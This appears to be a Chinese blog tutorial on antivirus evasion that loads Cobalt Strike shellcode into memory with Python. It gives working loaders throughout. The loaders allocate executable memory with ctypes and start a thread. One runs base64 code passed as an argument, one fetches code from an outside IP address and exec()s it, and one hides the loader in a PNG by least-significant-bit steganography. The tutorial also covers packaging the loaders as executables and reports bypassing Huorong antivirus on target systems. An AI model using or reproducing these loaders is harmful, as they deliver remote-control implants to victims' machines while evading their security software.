免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写

无文件落地&分离拆分

       无文件落地&分离拆分其实就是内存免杀,内存免杀是将shellcode直接加载进内存,由于没有文件落地,因此可以绕过文件扫描策略的查杀。为了使内存免杀的效果更好,在申请内存时一般采用渐进式申请一块可读写内存,在运行时改为可执行,在执行的时候遵循分离免杀的思想。分离免杀包含对特征和行为的分离两个维度,把shellcode从放在程序转移到加载进内存,把整块的shellcode通过分块传输的方法上传然后再拼接,这些体现了基本的”分离“思想。

内存免杀各种方法:

Python-File-将shellcode从文本中提取

1.cs生成c语言64位shellcode,将其使用以下脚本转换为byte流数据

Byte.py:

import base64

s=b'生成的shellcode'
ss=base64.b64encode(s)
print(ss)

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第1张图片

2.创建一个s.txt文件,将转换的byte流shellcode放入其中,使用以下shellcode加载代码执行:

File_1.py:

import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0,ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

环境:使用python64位执行

执行成功,cs成功上线

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第2张图片

3.使用Pyinstall打包器,将File_1.py打包成exe执行程序。

Pyinstall打包器

安装:pip install pyinstaller

参数:

-F, –onefile 打包一个单个文件,如果你的代码都写在一个.py文件的话,可以用这个,如果是多个.py文件就别用

-D, –onedir 打包多个文件,在dist中生成很多依赖文件,适合以框架形式编写工具代码,我个人比较推荐这样,代码易于维护

-K, –tk 在部署时包含 TCL/TK

-a, –ascii 不包含编码.在支持Unicode的python版本上默认包含所有的编码.

-d, –debug 产生debug版本的可执行文件

-w,–windowed,–noconsole 使用Windows子系统执行.当程序启动的时候不会打开命令行(只对Windows有效)

-c,–nowindowed,–console 使用控制台子系统执行(默认)(只对Windows有效)

1.执行命令,将原生态file_1.py进行打包

命令:pyinstaller -F 打包文件名

打包后的exe程序在根目录下的dist目录中

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第3张图片

2.将打包的exe执行程序和s.txt文件上传到目标系统的同级目录。执行脚本,成功绕过火绒检测,cs成功上线

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第4张图片

3.还可以在shellcode中加入垃圾数据在进行打包,绕过杀软。

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第5张图片

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第6张图片

 

 

Python-Argv-将shellcode与加载器分离

将加载代码使用参数形式传递执行

1.将如下加载shellcode代码进行base64编码

代码:

import ctypes

shellcode=b'生成的shellcode'
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0,ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

编码:

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第7张图片

2.运行如下脚本来执行经过base64编码的shellcode加载代码

代码:

import ctypes

import sys,base64
z=sys.argv[1]
zx=base64.b64decode(z)
exec(zx)

执行成功,cs成功上线

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第8张图片

 

 

Python-Http-将shellcode用远程协议加载

将加载代码使用远程加载的方式传递执行

1.将如下加载shellcode代码进行base64编码

代码:

import ctypes

shellcode=b'生成的shellcode'
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0,ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

编码:

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第9张图片

2.将base64编码的加载代码保存到能正常访问的网站目录

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第10张图片

2.运行如下脚本来远程加载经过base64编码的shellcode加载代码

脚本:

import ctypes,requests,base64

def g():
    all=requests.get('http://43.134.241.193/all.txt').text
    return all

if __name__ == '__main__':
    all=base64.b64decode(g())
    exec(all)

或者

import ctypes,base64

from urllib.request import urlopen
url=urlopen("http://43.134.241.193/all.txt")
z=url.read()
zx=base64.b64decode(z)
exec(zx)

执行成功,cs成功上线

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第11张图片

3.上传目标系统,成功绕过火绒检测

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第12张图片

 

 

 

Python-Images-将shellcode隐写进图片内

将shellcode加载代码隐写进图片中,

隐写代码:https://mp.weixin.qq.com/s/c8U2M_iJ8pWaI50sH8u9Hw

Image-tpyx.py:

 

#!/usr/bin/env python3
#coding=utf-8

"""Encode png image via command-line.

Usage:
    imageEncoding (-e|encode)  [] []
    imageEncoding (-d|decode) 

Options:
    -h,--help   显示帮助菜单
    -e          加密
    -d          解密

Example:
    imageEncoding -e coffee.png hello textOrFileToEncode encodedImage.png
    imageEncoding -d encodedImage.png
"""

from PIL import Image
from docopt import docopt


"""
取得一个 PIL 图像并且更改所有值为偶数(使最低有效位为 0)
"""
def RGBAmakeImageEven(image):
    pixels = list(image.getdata())  # 得到一个这样的列表: [(r,g,b,t),(r,g,b,t)...]
    evenPixels = [(r>>1<<1,g>>1<<1,b>>1<<1,t>>1<<1) for [r,g,b,t] in pixels]  # 更改所有值为偶数(魔法般的移位)
    evenImage = Image.new(image.mode, image.size)  # 创建一个相同大小的图片副本
    evenImage.putdata(evenPixels)  # 把上面的像素放入到图片副本
    return evenImage

def RGBmakeImageEven(image):
    pixels = list(image.getdata())  # 得到一个这样的列表: [(r,g,b,t),(r,g,b,t)...]
    evenPixels = [(r>>1<<1,g>>1<<1,b>>1<<1) for [r,g,b] in pixels]  # 更改所有值为偶数(魔法般的移位)
    evenImage = Image.new(image.mode, image.size)  # 创建一个相同大小的图片副本
    evenImage.putdata(evenPixels)  # 把上面的像素放入到图片副本
    return evenImage

"""
内置函数 bin() 的替代,返回固定长度的二进制字符串
"""
def constLenBin(int):
    binary = "0"*(8-(len(bin(int))-2))+bin(int).replace('0b','')  # 去掉 bin() 返回的二进制字符串中的 '0b',并在左边补足 '0' 直到字符串长度为 8
    return binary

"""
将字符串编码到图片中
"""
def RGBAencodeDataInImage(image, data):
    evenImage = RGBAmakeImageEven(image)  # 获得最低有效位为 0 的图片副本
    binary = ''.join(map(constLenBin,bytearray(data, 'utf-8'))) # 将需要被隐藏的字符串转换成二进制字符串
    if len(binary) > len(image.getdata()) * 4:  # 如果不可能编码全部数据, 抛出异常
        raise Exception("Error: Can't encode more than " + len(evenImage.getdata()) * 4 + " bits in this image. ")
    encodedPixels = [(r+int(binary[index*4+0]),g+int(binary[index*4+1]),b+int(binary[index*4+2]),t+int(binary[index*4+3])) if index*4 < len(binary) else (r,g,b,t) for index,(r,g,b,t) in enumerate(list(evenImage.getdata()))] # 将 binary 中的二进制字符串信息编码进像素里
    encodedImage = Image.new(evenImage.mode, evenImage.size)  # 创建新图片以存放编码后的像素
    encodedImage.putdata(encodedPixels)  # 添加编码后的数据
    return encodedImage

def RGBencodeDataInImage(image, data):
    evenImage = RGBmakeImageEven(image)  # 获得最低有效位为 0 的图片副本
    binary = ''.join(map(constLenBin,bytearray(data, 'utf-8'))) # 将需要被隐藏的字符串转换成二进制字符串
    if len(binary)%3 != 0:  # 将转换的比特流数据末位补零,使其长度为3的倍数,防止其在下面重新编码的过程中发生越界
        rema = len(binary)%3
        binary = binary+('0'*(3-rema))
#        print(len(binary))
    if len(binary) > len(image.getdata()) * 3:  # 如果不可能编码全部数据, 抛出异常
        raise Exception("Error: Can't encode more than " + len(evenImage.getdata()) * 3 + " bits in this image. ")

    encodedPixels = [(r+int(binary[index*3+0]),g+int(binary[index*3+1]),b+int(binary[index*3+2])) if index*3 < len(binary) else (r,g,b) for index, (r,g,b) in enumerate(list(evenImage.getdata()))] # 将 binary 中的二进制字符串信息编码进像素里
    encodedImage = Image.new(evenImage.mode, evenImage.size)  # 创建新图片以存放编码后的像素
    encodedImage.putdata(encodedPixels)  # 添加编码后的数据
    return encodedImage

"""
从二进制字符串转为 UTF-8 字符串
"""
def binaryToString(binary):
    index = 0
    string = []
    rec = lambda x, i: x[2:8] + (rec(x[8:], i-1) if i > 1 else '') if x else ''
    # rec = lambda x, i: x and (x[2:8] + (i > 1 and rec(x[8:], i-1) or '')) or ''
    fun = lambda x, i: x[i+1:8] + rec(x[8:], i-1)
    while index + 1 < len(binary):
        chartype = binary[index:].index('0') # 存放字符所占字节数,一个字节的字符会存为 0
        length = chartype*8 if chartype else 8
        string.append(chr(int(fun(binary[index:index+length],chartype),2)))
        index += length
    return ''.join(string)

"""
解码隐藏数据
"""
def RGBAdecodeImage(image):
    pixels = list(image.getdata())  # 获得像素列表
    binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b))+str(int(t>>1<<1!=t)) for (r,g,b,t) in pixels]) # 提取图片中所有最低有效位中的数据
    # 找到数据截止处的索引
    locationDoubleNull = binary.find('0000000000000000')
    endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
    data = binaryToString(binary[0:endIndex])
    return data

def RGBdecodeImage(image):
    pixels = list(image.getdata())  # 获得像素列表
    binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b)) for (r,g,b) in pixels]) # 提取图片中所有最低有效位中的数据
    # 找到数据截止处的索引
    locationDoubleNull = binary.find('0000000000000000')
    endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
    data = binaryToString(binary[0:endIndex])
    return data

def isTextFile(path):
    if path.endswith(".txt"):
        return True
    elif path.endswith(".m"):
        return True
    elif path.endswith(".h"):
        return True
    elif path.endswith(".c"):
        return True
    elif path.endswith(".py"):
        return True
    else:
        return False

if __name__ == '__main__':
    """command-line interface"""
    arguments = docopt(__doc__)
#    print(arguments)

    if arguments['-e'] or arguments['encode']:
        if arguments[''] is None:
            arguments[''] = "待加密的文本"
        if arguments[''] is None:
            arguments[''] = "encodedImage.png"

        if isTextFile(arguments['']):
            with open(arguments[''], 'rt') as f:
                arguments[''] = f.read()

        print("载体图片:")
        print(arguments['']+"\n")
        print("待加密密文:")
        print(arguments['']+"\n")
        print("加密后图片:")
        print(arguments['']+"\n")
        print("加密中……\n")
        im = Image.open(arguments[''])
        if im.mode == 'RGBA':
            RGBAencodeDataInImage(im, arguments['']).save(arguments[''])
        # elif im.mode == 'RGB':
        #     RGBencodeDataInImage(im, arguments['']).save(arguments[''])
        else:
            print("暂不支持此图片格式……")

        print("加密完成,密文为:\n"+arguments['']+"\n")
    elif arguments['-d'] or arguments['decode']:
        print("解密中……\n")
        im = Image.open(arguments[''])
        if im.mode == 'RGBA':
            print("解秘完成,密文为:\n"+RGBAdecodeImage(im)+"\n")
        # elif im.mode == 'RGB':
        #     print("解秘完成,密文为:\n"+RGBdecodeImage(im)+"\n")
        else:
            print("非法的图片格式……")

1.利用代码将shellcode加载代码写入图片中

加密命令:python image-tpyx.py -e 图片.png 经过base64编码的shellcode执行代码

加密完成:生成一张叫encodedImage.png的图片

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第13张图片

如果出现以下错误就更换一张大一点的png图片:

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第14张图片

2.执行命令,可以将写入图片的shellcode加载代码解密出来

解密命令:python image-tpyx.py -d encodedImage.png

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第15张图片

3.因为实战时上传的脚本不需要加密代码,所以将代码中的加密代码剔除,减少特征

剔除加密代码后:

Image-tpyxs.py:

from PIL import Image
from docopt import docopt
import base64,ctypes



"""
内置函数 bin() 的替代,返回固定长度的二进制字符串
"""
def constLenBin(int):
    binary = "0"*(8-(len(bin(int))-2))+bin(int).replace('0b','')  # 去掉 bin() 返回的二进制字符串中的 '0b',并在左边补足 '0' 直到字符串长度为 8
    return binary

"""
将字符串编码到图片中
"""


"""
从二进制字符串转为 UTF-8 字符串
"""
def binaryToString(binary):
    index = 0
    string = []
    rec = lambda x, i: x[2:8] + (rec(x[8:], i-1) if i > 1 else '') if x else ''
    # rec = lambda x, i: x and (x[2:8] + (i > 1 and rec(x[8:], i-1) or '')) or ''
    fun = lambda x, i: x[i+1:8] + rec(x[8:], i-1)
    while index + 1 < len(binary):
        chartype = binary[index:].index('0') # 存放字符所占字节数,一个字节的字符会存为 0
        length = chartype*8 if chartype else 8
        string.append(chr(int(fun(binary[index:index+length],chartype),2)))
        index += length
    return ''.join(string)

"""
解码隐藏数据
"""
def RGBAdecodeImage(image):
    pixels = list(image.getdata())  # 获得像素列表
    binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b))+str(int(t>>1<<1!=t)) for (r,g,b,t) in pixels]) # 提取图片中所有最低有效位中的数据
    # 找到数据截止处的索引
    locationDoubleNull = binary.find('0000000000000000')
    endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
    data = binaryToString(binary[0:endIndex])
    return data

def RGBdecodeImage(image):
    pixels = list(image.getdata())  # 获得像素列表
    binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b)) for (r,g,b) in pixels]) # 提取图片中所有最低有效位中的数据
    # 找到数据截止处的索引
    locationDoubleNull = binary.find('0000000000000000')
    endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
    data = binaryToString(binary[0:endIndex])
    return data

def isTextFile(path):
    if path.endswith(".txt"):
        return True
    elif path.endswith(".m"):
        return True
    elif path.endswith(".h"):
        return True
    elif path.endswith(".c"):
        return True
    elif path.endswith(".py"):
        return True
    else:
        return False

if __name__ == '__main__':
    """command-line interface"""
    #arguments = docopt(__doc__)
    im = Image.open('encodedImage.png')
    print("解秘完成,密文为:\n"+RGBAdecodeImage(im)+"\n")
    func=base64.b64decode(RGBAdecodeImage(im))
    exec(func)

运行代码,cs成功上线

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第16张图片

4.将解密代码编译成exe执行程序,将加密的图片和exe程序一起上传目标系统同一目录,执行程序无伤绕过火绒检测,cs上线成功

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写_第17张图片

你可能感兴趣的:(免杀对抗,网络安全,python,安全)